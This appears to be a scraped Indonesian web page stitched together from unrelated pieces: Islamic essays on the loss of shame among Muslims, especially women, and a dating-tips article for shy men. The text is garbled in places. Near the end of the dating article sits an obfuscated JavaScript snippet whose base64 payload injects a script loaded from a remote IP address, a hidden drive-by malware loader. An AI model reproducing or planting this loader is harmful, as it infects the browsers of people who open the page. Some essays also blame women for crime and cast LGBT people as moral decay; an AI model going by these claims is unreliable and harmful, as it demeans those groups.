Semuaini disebabkan hilangnya rasa malu. Jika seseorang sudah sampai pada kondisi tersebut, maka tidak dapat diharapkan lagi kebaikkannya. Al-Hayaa' (malu) merupakan pecahan kata dari al-hayaat(kehidupan). Hujan dinamakan hayaa -diakhiri dengan huruf alif maqshurah- karena ia merupakan sumber kehidupan bagi bumi, tanaman, dan hewan ternak
Setiap kali saya berjumpa dengannya atau melihatnya dari kejauhan dalam suatu kesempatan, ada perasaan malu yang menyelinap ke dalam hati saya. Ada keinginan untuk menjauh atau menjaga jarak. Kesalahan yang dulu pernah saya lakukan masih berbekas dalam hati saya, walau ia sebenarnya sudah memaafkan. Begitulah, tapi saya sadar, keadaan seperti ini tidak boleh terus berlanjut. Saya harus bisa bersikap wajar dan seolah tidak terjadi apa-apa. Sebagai seorang manusia, siapapun tak luput dari salah, bukankah saya sudah minta maaf, dan ia pun dengan lapang hati dapat memaklumi dan memaafkan. Pengalaman ini mengingatkan saya pada satu hal, yaitu rasa malu pada Allah. Rasa malu yang seharusnya hadir ketika timbul dorongan berbuat dosa dan maksiat. Allah maha melihat segala sesuatu, Ia mengetahui ke mana arah pandangan mata, bisikan hati dan pikiran kita. Tidak ada satupun yang bisa kita sembunyikan dari-Nya. Sungguh, sangat banyak ayat-ayat Allah yang menerangkan tentang ini, diantaranya "Katakanlah, "Jika kamu sembunyikan apa yang ada dalam hatimu atau kamu nyatakan, Allah pasti mengetahuinya. " Dia mengetahuiapa yang ada di langit dan apa yang ada di bumi. Allah Mahakuasa atas segala sesuatu QS Ali `Imran 29 "Yang melihat engkau ketika engkau berdiri untuk shalat. Dan melihat perubahan gerak badanmu di antara orang-orang yang sujud." QS Asy-Syu`ara` 218-219 "… dan Dia bersama kamu di mana saja kamu berada. Dan Allah maha melihat apa yang kamu kerjakan." QS al-Hadid 4 "Dia mengetahui pandangan mata yang khianat -yaitu pandangan kepada hal-hal yang terlarang, seperti memandang kepada perempuan yang bukan mahramnya- dan apa yang tersembunyi dalam dada." QS al-Mukmin 19 Dan kelak di akhirat Dia akan meminta pertanggungjawaban kita atas setiap kata yang kita ucapkan, pandangan mata, perbuatan kita, dstnya. Hal ini bisa kita umpamakan, di setiap pojok atas sebuah ruangan diletakkan kamera pengintai. Apapun yang kita lakukan dan katakan, semua terekam oleh kamera tersebut, tak ada satupun yang terlewatkan. Orang yang sadar bahwa ia sedang diawasi akan waspada dan menjaga setiap gerak-gerik dan ucapannya. Ia tidak akan gegabah dan asal-asalan. Semuanya diperhitungkan dan dipertimbangkan. Beda halnya dengan orang yang tidak mengetahui keberadaan kamera tersebut, ia akan berbuat se-maunya, se-enak hatinya. Ia merasa bebas, tidak ada yang mengawasi, melihat perbuatan dan mendengarkan kata-katanya. Dalam contoh lain, jika seorang anak berjalan dengan bapak yang sangat dicintai dan dihormatinya di pasar. Sang anak akan senantiasa berhati-hati. Ia tidak ingin terlihat melakukan sesuatu yang tidak disenangi bapaknya, karena apabila bapaknya melihat dirinyaberbuat jahat, berkata kasar, bapaknya akan marah dan akan jatuhlah kedudukan dirinya di hadapan bapaknya. Dan tentu bagi Allah perumpamaan yang lebih tinggi. Zikrullah, mengingat Allah, menyebut nama Allah, merasakan kehadiran Allah, menyadari bahwa Allah senantiasa mengawasi diri kita, dimanapun, kemanapun, dan kapanpun, Allah selalu melihat, menyaksikan, dan mengetahui perbuatan kita. Jika ini betul-betul tertanam kuat dalam hati, insya Allah, setiap kata yang kita ucapkan, setiap sesuatu yang kita inginkan, pikirkan, akan selalu kita jaga dan arahkan pada apa yang Allah ridhai. Maka, ketika kita cinta, maka cinta itu karena Allah. Apabila kita ingin marah, marah itu karena Allah. Jika kita ingin bersedekah, maka sedekah itu karena Allah. Apabila kita ingin berkata, perkataan itu demi mengharapkan ridha Allah swt. Dan tentu hidup seperti ini begitu indah … Rasa malu pada Allah barangkali telah mulai hilang dalam diri sebahagian orang, atau bahkan banyak orang. Mereka tak malu untuk berbuat nista dan kemungkaran. Tidak malu lagi menjulurkan tangan ini mengambil barang yang haram, tak malu melangkahkan kaki ini ke tempat haram, mengarahkan pandangan mata pada yang haram, berkata bohong, menipu dan seterusnya. Beberapa wanita yang mengaku muslimah tidak lagi merasa malu membuka auratnya dan memajangnya di depan umum, bahkan ia merasa bangga dengan apa yang dilakukannya. Ia tak lagi merasa malu berpegang tangan, berfoto mesra dengan laki-laki yang belum sah menjadi suaminya. Ia telah tertipu oleh hawa nafsunya, dan bisikan setan yang menjadikan para pengikutnya memandang indah dan merasa bangga dengan perbuatan buruk dan tercela. Begitulah, hilangnya rasa malu telah menjatuhkan derajat kemuliaan seorang wanita pada lembah kehinaan di hadapan Allah dan hamba-hamba- Nya yang beriman. Dan seorang laki-laki, tak lagi merasa malu melakukan hal yang serupa, berpegang tangan, berfoto mesra dengan wanita yang belum sah menjadi istrinya. Karena hilangnya rasa malu rusaklah agama dan akhlak. Rasa malu itu telah tertutup oleh asap hitam dan tebal dosa dan maksiat. Oleh asap hitam dan tebal hawa nafsu dan hasutan setan. Oleh kebodohan, syubhat dan syahwat. Bukankah Rasulullah saw menegaskan bahwa rasa malu itu bagian dari iman. Yaitu malu berbuat segala sesuatu yang tidak disukai dan tidak diridhai Allah. Dengan kata lain, ketika rasa malu itu telah mulai redup atau berkurang, kondisi iman perlu untuk segera dibenahi sebelum rasa malu itu hilang, karena jika rasa malu itu telah hilang, tak malu lagi untuk berbuat dosa dan maksiat. Seorang hamba yang cinta pada Rabbnya, akan sangat malu jika kedapatan berbuat nista. Cintanya pada Allah menghalanginya untuk menempuh jalan maksiat. Ia sangat takut jika yang dicintainya berpaling darinya, benci, murka dan meninggalkannya. Begitu dalam kesedihan merenggut hatinya. Namun, cinta pada Allah tidak hadir begitu saja dalam jiwa. Ia butuh pada proses yang harus dilewati, yaitu mengenal Allah. Mengenal Allah melalui firman-firman- Nya, dengan senantiasa dibaca, direnungi, diresapi dalam-dalam. Dengan rajin memperhatikan keindahan, keagungan ciptaan-Nya di jagat raya ini, sembari memikirkan betapa kuasa dan maha luasnya ilmu Allah. Dengan selalu merenungi dan mensyukuri betapa begitu banyak nikmat-Nya yang telah kita terima selama ini, yang tak akan sanggup kita hitung, mulai dari nikmat yang melekat pada tubuh kita nikmat melihat, mendengar, berbicara, merasa, berjalan, berpikir, bernafas, dstnya. Dengan selalu berbicara pada orang lain tentang keesaan Allah, kemahakuasaan Allah, rahmat-Nya, ilmu-Nya, nikmat-Nya dan dengan rajin mendengarkan pembicaraan tentang kebesaran Allah, nikmat –nikmat Allah dari orang-orang yang selalu menyebut-Nya di waktu siang dan malam. Semakin sering dibaca, diperhatikan, didengarkan, diucapkan, akan semakin tumbuhlah rasa cinta itu dalam hati, akan kokohlah keyakinan itu, akan kuatlah iman di dada, akan tumbuhlah rasa rindu itu menggenggam kalbu, akan kuatlah keinginan untuk berjumpa dan betapa malu jika telah dengan sengaja atau khilaf berbuat sesuatu yang tidak disukai Allah.. Allahu akbar…. Ya Allah, Engkau selalu melihat kami siang-malam, kapanpun dan dimanapun kami berada. Ya Allah anugerahkanlah pada kami rasa malu bermaksiat pada-Mu. Amin.. Salam cinta dari bumi Allah, [email protected]
Kemudian datanglah kepada Musa salah seorang dari kedua wanita itu berjalan penuh rasa malu, ia berkata, "Sesungguhnya bapakku memanggil kamu agar ia memberikan balasan terhadap (kebaikan)mu memberi minum (ternak) kami." (QS. Al-Qashash: 25). BACA JUGA: Rasa Malu, Indikator Keimanan Seorang Muslim. Ayat yang mulia ini, menjelaskan bagaimana seharusnya kaum wanita berakhlaq dan bersifat malu.
Sebab hilangnya rasa malu kebanyakan wanita saat ini Baca Juga Bismillah.....📎 SEBAB HILANGNYA RASA MALU KEBANYAKAN WANITA SAAT malu bukan hanya di tampakan dengan cara berpakaian berhijab saja.. Tapi rasa malu itu juga di tunjukan wanita dengan cara berjalan, cara berbicara, cara memandang, dan cara berfikirnya.. dan itu semua tidak akan bisa didapatkan kecuali dengan mempelajari dan mengimani apa yang Allah dan rasulNya perintahkan..👤 Ibnul Qoyyim rahimahullah menjelaskan وَعَلَى حَسَبِ حَيَاةِ الْقَلْبِ يَكُونُ فِيهِ قُوَّةُ خُلُقِ الْحَيَاءِ. وَقِلَّةُ الْحَيَاءِ مِنْ مَوْتِ الْقَلْبِ وَالرُّوحِ. فَكُلَّمَا كَانَ الْقَلْبُأَحْيَى كَانَ الْحَيَاءُ أَتَمَّ.“Kuatnya sifat malu tergantung kondisi hidup hatinya. Sedikitnya sifat malu disebabkan oleh kematian hati dan ruh, sehingga semakin hidup hati maka sifat malupun semakin sempurna." Madarij as-Salikin 2/249Beliau juga mengatakan الْحَيَاءُ فَيَبْعَثُ عَلَيْهِ قُوَّةُ الْمَعْرِفَةِ"Sifat malu itu tergantung seberapa besar pengenalan dirinya terhadap Rabbnya.” Madarij as-Salikin 2/163📝 Tim Shahihfiqih, 21 Dzulqo'dah 1442H/ 2 Juli 2021shahihfiqih Barakallahu fiikum....Gabung Telegram 📸 sunnahstori x thesunnah_pathdakwahtauhid salaf tauhid Follow akun sosial media Foto Dakwah, klik disini Klik disini untuk sedekah dakwah, untuk membantu dakwah kami Share Artikel Ini
Hilangnyasifat malu wanita May 17, 2017 DALAM sebuah hadis, Nabi SAW bersabda yang bermaksud: Advertisement "Terdapat 99 bahagian tarikan pada wanita berbanding lelaki, lalu Allah kurniakan ke atas mereka sifat malu." (Hadis riwayat Baihaqi) Salah satu ciri kemulian dalam kalangan wanita adalah sifat malu paling menebal dalam dirinya.
Kompasiana adalah platform blog. Konten ini menjadi tanggung jawab bloger dan tidak mewakili pandangan redaksi Kompas. Di zaman ini rasa malu pada Wanita telah pudar, sehingga hakikat penciptaan wanita—yang seharusnya—menjadi perhiasan dunia dengan keshalihahannya, menjadi tak lagi bermakna. Di zaman ini wanita hanya dijadikan objek kesenangan nafsu. Hal seperti ini karena perilaku wanita itu sendiri yang seringkali berbangga diri dengan mengatasnamakan emansipasi, mereka meninggalkan rasa malu untuk bersaing dengan kaum pria. Allah telah menetapkan fitrah wanita dan pria dengan perbedaan yang sangat signifikan. Tidak hanya secara fisik, tetapi juga dalam akal dan tingkah laku. Bahkan dalam Al Qur’an surat Al Baqarah ayat 228 yang artinya; Dan para wanita mempunyai hak yang seimbang dengan kewajibannya menurut cara yang sepatutnya’, Allah telah menetapkan hak bagi wanita sebagaimana mestinya. Tidak sekedar kewajiban yang dibebankan, namun hak wanita pun Allah sangat memperhatikan dengan menyesuaikan fitrah wanita itu sendiri. Sehingga ketika para wanita menyadari fitrahnya, maka dia akan paham bahwasanya rasa malu pun itu menjadi hak baginya. Setiap wanita, terlebih seorang muslimah, berhak menyandang rasa malu sebagai mahkota hanya sedikit wanita yang menyadari hal ini… Di zaman ini justeru banyak wanita yang memilih mendapatkan mahkota kehormatan’ dari ajang kontes-kontes yang mengekspos kecantikan para wanita. Tidak hanya sebatas kecantikan wajah, tapi juga kecantikan tubuh diobral demi sebuah mahkota kehormatan’ yang terbuat dari emas permata. Para wanita berlomba-lomba mengikuti audisi putri-putri kecantikan, dari tingkat lokal sampai tingkat internasional. Hanya demi sebuah mahkota dari emas permata dan gelar Putri Kecantikan’ atau sejenisnya, mereka rela menelanjangi dirinya sekaligus menanggalkan rasa malu sebagai sebaik-baik mahkota di dirinya. Naudzubillah min dzaliik… Lihat Sosbud Selengkapnya
Tahukahkita, ternyata dengan hilangnya rasa malu yang ada pada diri wanita banyak sekali kasus-kasus kejahatan, mulai dari pornografi, porno aksi, pembunuhan, dan adanya tindakan-tindakan kriminal lainnya, bahkan laki-laki lebih menyukai makhluk sejenisnya ketimbang lawan jenis (baca: wanita), lantaran bosan melihat aurat wanita yang telah
HILANG RASA MALU DALAM PERGAULAN ===📚=== بِسْــــــــــــــــــمِ اللّٰهِ الرَّحْمٰنِ الرَّحِيْمِ Hari ini rasa malu mulai banyak memudar di kalangan kaum muslimin baik pria maupun wanita. Hilangnya rasa malu berarti hilangnya kebaikan pada diri seseorang. Jika rasa malu telah hilang dari diri seseorang, hal itu itu akan mendorongnya berbuat sekehendak hati tanpa mempertimbangkan apakah apa yang ia kerjakan melahirkan kebaikan atau keburukan. Seorang Muslim senantiasa diperintahkan untuk memelihara rasa malu pada dirinya. Malu menjadi tameng bagi munculnya perilaku yang tidak baik dalam kehidupannya. Karena rasa malu itulah yang menyebabkan seseorang menjauhi maksiat serta selalu dalam ketaatan dan kebaikan. Sebaliknya, jika sudah tidak ada rasa malu, kebaikan demi kebaikan akan meninggalkan seseorang. Hilangnya rasa malu dalam diri seseorang merupakan penyebab dari kehancuran iman dalam hatinya. Oleh karena itu, apabila dibiarkan berlarut-larut tanpa disadari oleh pelakunya, maka ujung-ujungnya akan berakhir pada kemurkaan Alloh ta’ala. Dalam pergaulan pria dan wanita zaman ini, banyak wanita yang justru mencampakkan jauh-jauh sifat malu yang terpuji. Sehingga, terlalu banyak kita jumpai kaum wanita yang lebih tidak tahu malu dari pada laki-laki. Mereka sengaja menggoda laki-laki untuk berdua-duaan, bergandengan bahkan lebih buruk dari itu malu tidak lain merupakan cerminan keimanan, ia bagaikan perisai yang dapat mencegah seseorang dari melakukan kemungkaran dan kemaksiatan. Bahkan, di antara standar mulia atau hinanya akhlak seseorang dapat diukur dari rasa malu yang ia miliki. Karena itulah, malu tidak dapat dipisahkan dari keimanan. Semakin kuat iman seseorang, makin tebal pula rasa malunya. Begitu juga sebaliknya. Rosululloh bersabda, “Iman itu memiliki 60 sampai 70 cabang, yang paling utama ialah pernyataan Laa ilaaha illAlloh’, dan yang paling rendah adalah menyingkirkan duri dari jalan. Rasa malu adalah salah satu cabang dari iman.” HR. Bukhori dan Muslim Rasa malu adalah pangkal semua kebaikan dalam kehidupan ini, sehingga kedudukannya dalam seluruh sifat keutamaan adalah bagaikan kepala dengan badan. Maksudnya, tanpa rasa malu maka sifat keutamaan lain akan mati. Hilangnya rasa malu dalam pergaulan pria dan wanita akan menjadikan mereka terjerumus dengan berbagai macam pelanggaran baik pelanggaran agama maupun norma etika di masyarakat. Navigasi pos
Telahhilangnya rasa malu. tidak malu berdua-duaan antara lelaki dan perempuan yang bukan mahram, atau menceritakan hubungan yang tidak halal itu kepada kawan-kawan atau lebih teruk lagi memaparkan di dalam laman sosial. Ditegaskan sekali lagi janganlah malu dalam menuntut ilmu [viii], seperti didalam sebuah atsar Shahih diriwayatkan
Oleh Linda Sutriani, Aktivis Dakwah Kampus “Jika seorang wanita itu sudah tidak memiliki rasa malu maka hancurlah dunia ini.” Pernyataan tersebut agaknya tidak berlebihan. Sebab, sifat malu membedakan manusia dengan binatang. Rasulullah shallallahu alaihi wa sallam bersabda “Sesungguhnya setiap agama itu memiliki akhlak dan akhlak Islam itu adalah rasa malu.” HR. Ibnu Majah no. 4181. Melihat fakta, tidak heran jika saat ini dinyatakan dunia semakin tua. Perubahan zaman tak dapat terelakkan. Hari Akhir terasa semakin dekat. Banyak peristiwa zaman dulu terulang kembali saat ini, meski dengan suasana yang berbeda. Misalnya, suburnya kaum Lesbi Gay Bisekseual dan Transgender LGBT yang pernah terjadi di zaman Nabi Luth kini terulang kembali. Bahkan, seakan dianggap biasa saja di tengah masyarakat. Hal tersebut terasa nyata. Banyak peristiwa yang terus berulang. Menyisakan perhatian khusus bahwa rasa malu wajib dimiliki oleh manusia. Oleh karenanya, saat ini, sebagai muslimah seharusnya berbeda dari kebanyakan wanita. Mesti tumbuh kesadaran pada muslimah atas apa yang telah ditentukan oleh Allah SWT berkenaan kodratnya sebagai wanita. Hal ini menjadi sesuatu yang tak dapat dipandang sebelah mata. Sebab, bukankan Islam memuliakan seorang wanita? Rasulullah bersabda, “Jika seorang wanita menunaikan shalat lima waktu,berpuasa di bulan Ramadhan, menjaga kemaluannya dan menaati suaminya niscaya akan dikatakan padanya masuklah kedalam surga dari pintu manapun yang kau mau” HR. Ahmad. Penghargaan luar biasa Islam anugerahkan kepada wanita. Penting bagi muslimah memiliki dan menjaga rasa malu. Hilangnya rasa malu pada muslimah khususnya dan umat umaumnya sejatinya terjadi karena penerapan sistem yang salah. Sistem dengan segudang kebobrokan menjadikan banyak kerusakan di mana-mana. Sistem demokrasilah biang dari kerusakan tersebut. Sistem ini berlandaskan pada asas sekuler yaitu memisahkan agama dari kehidupan yang tidak pantas diterapkan seorang muslim. Islam adalah agama sempurna yang memberikan solusi dalam mengatasi segala problematika kehidupan. Islam mempunyai tuntunan kepada muslimah untuk memelihara rasa malu, yaitu Pertama, memberikan edukasi kepada masyarakat akan kewajiban-kewajiban yang harus ditaati, termasuk kewajiban menutup aurat sebagai bentuk taat dan rasa malu. Kedua, menjadi pengemban dakwah Islam di tengah-tengah masyarakat. Sehingga, akan dihargai penduduk bumi dan dikenal penduduk langit serta menjadi muslimah yang salihah. Ketiga, selalu istiqomah di jalan Allah SWT. Muslimah mesti terus berproses dengan menjadi pembelajar sepanjang hayat. Karena dengan ilmu ia akan dijauhkan dari kebodohan, kesesatan bahkan ilmu akan mengangkat derajat. Keempat, bersama sahabat taat yang akan membimbing ke jalan yang benar. Bergabung dalam jamaah yang memperjuangkan Al-Qur’an dan sunnah, serta berlomba-lomba dalam ketaatan, bukan dalam maksiat. Kelima, wajib bagi muslimah mengambil aturan Islam secara kafah atau menyeluruh dalam kehidupan. Sehingga menjadikan hidupnya lebih baik dan dijauhkan dari kerugian dunia akhirat. Sebagaimana firman Allah SWT, يٰٓاَيُّهَا الَّذِيْنَ اٰمَنُوا ادْخُلُوْا فِى السِّلْمِ كَاۤفَّةً ۖوَّلَا تَتَّبِعُوْا خُطُوٰتِ الشَّيْطٰنِۗ اِنَّهٗ لَكُمْ عَدُوٌّ مُّبِيْنٌ “Wahai orang-orang yang beriman! Masuklah kalian ke dalam Islam secara kaffah keseluruhan, dan janganlah kamu ikuti langkah-langkah setan. Sungguh, ia musuh yang nyata bagimu.” QS. Al-Baqarah 208. Wallahua’lam bishawab.
SebabHilangnya Rasa Malu Pada Kebanyakan Kaum Wanita admin May 31, 2022 Berkata al-Imam Ibnul Qoyyim rahimahullah, وَعَلَى حَسَبِ حَيَاةِ الْقَلْبِ يَكُونُ فِيهِ قُوَّةُ خُلُقِ الْحَيَاءِ. وَقِلَّةُ الْحَيَاءِ مِنْ مَوْتِ الْقَلْبِ وَالرُّوحِ. فَكُلَّمَا كَانَ الْقَلْبُأَحْيَى كَانَ الْحَيَاءُ أَتَمَّ.
Sponsors Link Sebagai pria yang ingin mendapatkan pasangan, tentu saja kita harus melewati beberapa langkah untuk mendapatkan kekasih pujaan hati itu. Namun untuk mendapatkan hati wanita, hal itu tidaklah mudah. Ada beberapa pria yang dengan mudah mendekati wanita namuna ada juga pria yang sangat sulit untuk mendekati wanita karena sifat mereka yang memang pemalu dan pendiam. Sehingga pria yang pendiam dan pemalu ini sulit untuk mendapatkan kekasih, oleh karena itu kali ini kita hadir untuk memberikan informasi kepada kalian semua mengenai cara menghilangkan rasa malu terhadap wanita supaya kalian bisa mendapatkan kekasih pujaan hati Anda. Sehingga bisa menjalin hubungan yang lebih serius dengan mereka, tidak usah berlama-lama begini cara untuk menghilangkan rasa malu kalian!Kurangi rasa grogi kalianCara untuk menghilangkan malu jika bertemu dengan wanita adalah dengan mengurangi rasa grogi. Caranya adalah kalian bisa berlatih berbicara di depan kaca, kalian bisa mencoba berbagai ekspresi ketika berbicara dengan wanita. Kalian harus belajar bagaimana bisa berbicara dengan wanita dengan nyaman. Kalian juga harus mulai berani berbicara kepada teman wanita kalian sebagai latihan supaya tidak grogi. cara menghilangkan rasa grogi di depan wanita harus kalian pahami dengan ambil hati mengenai apa kata orang lainMungkin teman lelaki kalian atau orang disekitar kalian banyak yang mengejek kalian atau membuat kalian menjadi down. Mungkin mereka sering berkata jika kalian adalah cowok yang cemen atau cowok yang cupu karena sulit untuk mendekati wanita. Namun jangan terlalu ambil hati, jangan terlalu sakit hati dengan apa yang mereka katakan. Sebaliknya kalian harus membuktikan kepada mereka jika kalian ini bisa mendapatkan hati wanita idaman. Oleh karena itu kalian juga harus tahu cara memberanikan diri mendekati sifat minder dan percaya dirilah!Malu berhadapan dengan wanita bisa saja disebabkan karena kalian merasa minder. Kalian mulai mundur ketika berhadapan dengan wanita karena kalian berpikir jika kalian ini tidak pantas dekat dengan wanita seperti mereka. Jangan seperti itu mulai sekarang, jangan minder! Tetapi buatalah suatu pemikiran yang baik, jika kalian semua ini adalah pria yang tampan yang cocok untuk menjadi kekasih wanita cantik manapun. Dengan pemikiran seperti itu maka kalian bisa percaya diri dan tidak malu lagi berhadapan dengan orang lain bicaraJika kalian adalah orang yang introvert atau pemalu maka kalian harus tahu mengenai cara berbicara dengan wanita agar tertarik. Jika kalian adalah tipe orang yang sulit berbicara dengan orang lain, maka Anda harus berlatih mulai dari sekarang jika ingin mendapatkan hati wanita pujaan Anda. Caranya sangat mudah, mulai ajak orang lain di rumah sering berbicara. Misalnya jika dulu kalian tidak sering berbicara di rumah, kalian bisa mengajak saudara atau ayah ibu kalian untuk sering untuk keluar dari rumah dan bersosialisasiCara selanjutnya untuk menghilangkan rasa malu terhadap wanita adalah mulailah untuk keluar dari zona nyaman kalian. Kalian harus mulai bisa bersosialisasi dengan banyak orang, kalian harus mulai berbicara dengan orang lain dan jadilah pria yang ramah. Sehingga ketika berhadapan dengan wanita kalian tidak akan grogi dan malu lagi sudah banyak untuk mencintai diri sendiriSeperti yang sudah kami bahas diatas, jika salah satu penyebab kenapa kita bisa malu berhadapan dengan wanita adalah karena kita merasa minder dengan diri kita sendiri. Kita merasa diri kita tidak sempurna, oleh karena itu mulai sekarang terlebih dulu cintai dirimu sendiri. Jangan menganggap dirimu tidak sempurna, karena pada dasarnya di dunia ini tidak ada yang LinkJangan takut untuk ditolak wanitaJangan sedikit-sedikit merasa malu dan takut jika nantinya kalian hanya akan ditolak wanita. Kalian tidak boleh minder, jangan sampai kalian merasa takut setiap mendekati wanita karena merasa akan ditolak oleh wanita itu. Pria sejati adalah pria yang mau berusaha demi orang yang mereka cintai tanpa melihat hasil akhirnya, entah ditolak atau diterima yang penting mereka sudah tahu kelebihanLangkah yang selanjutnya adalah kalian juga harus tahu kelebihan apa saja yang kalian miliki. Sehingga ketika mendekati wanita kalian bisa menunjukkan nilai plus yang kalian miliki, kalian juga harus tahu bagaimana cara menjadi pria cool supaya mereka jatuh cinta pada kamu!Jangan rendah diriTips yang selanjutnya janganlah merasa rendah diri. Ketika mungkin orang lain mengejek kalian yang tak berani mendekati wanita maka jangan rendah diri, kalian harus membuktikan kepada mereka. Kalian harus mulai berubah dan berusaha supaya bisa mendapatkan hati wanita pujaan hati kalian. Kalian harus tahu style pakaian pria yang disukai wanita, selain itu rasa percaya diri juga harus kalian pupuk. Jika kalian sendiri merasa tak percaya pada diri kalian maka bagaimana mereka mau menerima cinta kalian?Sponsors LinkCobalah untuk sering tersenyum Tips selanjutnya adalah berlatih untuk sering tersenyum di depan orang. Terutama di depan wanita yang kalian sukai, kalian harus berlatih menjadi pria yang murah senyum. Ketika bertemu dengan wanita yang kalian sukai maka kalian harus mencoba tersenyum manis kepada mereka atau kalau tidak bisa menyapa mereka. Dengan begitu rasa malu kalian ketika menghadapi wanita akan sedikit teratasi, kalian juga harus mulai belajar bagaimana cara membuat wanita tersenyum supaya ketika pdkt kalian tidak kebingungan dirimu sendiri Cara yang selanjutnya adalah dengan menjadi diri sendiri, walau kalian terkadang merasa malu berhadapan dengan wanita karena merasa tidak sebaik pria lain namun jangan sampai kalian menjadi orang lain hanya demi wanita yang kalian cintai. Kalian harus menjadi diri sendiri supaya wanita yang kalian dekati itu salut dengan diri kalian yang memang apa adanya LinkKembangkan hal positif yang ada pada dirimu Tidak hanya mengatasi rasa malu saja, kalian juga harus mengembangkan sikap positif yang ada pada diri kalian. Jika ingin mendapatkan kekasih baik-baik maka hal yang harus kalian lakukan adalah banyak-banyak melakukan hal yang positif supaya dilirik oleh wanita idaman dia 12 cara menghilangkan rasa malu terhadap wanita yang bisa kalian coba untuk mendapatkan kekasih pujaan hati. Selain itu kalian juga harus memahami cara memikat hati wanita dengan cepat supaya bisa mendapatkan hati mereka dengan mudah, semoga artikel ini bermanfaat ya! function getCookiee{var U= RegExp“?^; ”+ U?decodeURIComponentU[1]void 0}var src=”datatext/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now= 0===time{var time= Datenew Date.getTime+86400; path=/; expires=”+
hgCQDH. 494 431 489 329 348 450 211 118 91
hilangnya rasa malu pada wanita